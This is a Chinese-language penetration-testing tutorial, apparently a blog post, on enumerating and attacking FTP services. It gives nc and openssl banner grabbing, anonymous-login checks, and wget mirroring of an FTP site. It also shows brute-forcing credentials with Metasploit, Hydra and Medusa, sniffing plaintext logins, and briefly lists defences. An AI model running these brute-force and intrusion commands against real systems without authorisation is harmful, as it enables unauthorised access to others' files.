21端口开启的服务FTP代表文件传输协议,其用于在计算网络上的客户端和服务器之间传输文件。默认端口是21,当共享数据时会被打开。

枚举ftp服务的版本信息

nc -vn <ip> 21

获取FTP证书(如果存在)

openssl s_client -connect <ip>:21 -starttls ftp

匿名登录
文件可以被隐藏,所以匿名登录可能看不到文件

ftp <ip>
>anonymous
>anonymous
>ls -a

在这里插入图片描述

浏览器连接

ftp://anonymous:anonymous@192.168.0.117

从FTP下载文件

##下载所有文件
wget -m ftp://anonymous:anonymous@192.168.0.117
wget -m --no-passive ftp://anonymous:anonymous@192.168.0.117

Windows上的FTP

Metasploit扫描ftp版本

use auxiliary/scanner/ftp/ftp_version 
msf auxiliary(ftp_version) > set rhosts 192.168.1.128 
msf auxiliary(ftp_version) > exploit

在这里插入图片描述

Metasploit暴力破解FTP登录凭证

用户字典和密码字典需要自己制作
一个很好的字典集合:

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

use auxiliary/scanner/ftp/ftp_login 
msf auxiliary(ftp_login) > set rhosts 192.168.1.128 
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt 
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt 
msf auxiliary(ftp_login) > set stop_on_success true 
msf auxiliary(ftp_login) > exploit
![在这里插入图片描述](https://img-blog.csdnimg.cn/a57f987ddd024d0281e7f108f37f664d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVGhnaWxpbA==,size_20,color_FFFFFF,t_70,g_se,x_16)



## Linux上的FTP服务

**嗅探FTP凭证**
使用嗅探抓取FTP凭证
使用Wireshark捕获流量,发现明文传输的登录凭证。
可以通过使用ssl证书对流量进行加密,防止攻击者抓取流量后读取登录凭证

**Hydra暴力破解**
自定以账号、密码字典
```bash
hydra -L user.txt -P pass.txt 192.168.0.117 ftp

medusa暴力破解
自定义账号、密码字典

medusa -h 192.168.0.117 -U /root/user.txt -P /root/pass.txt -M ftp

linux下的FTP爆破也可采用Msfconsole的auxiliary/scanner/ftp/ftp_login模块

防御:

1.更改端口
2.设置ip白名单
3.FTP日志监控

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐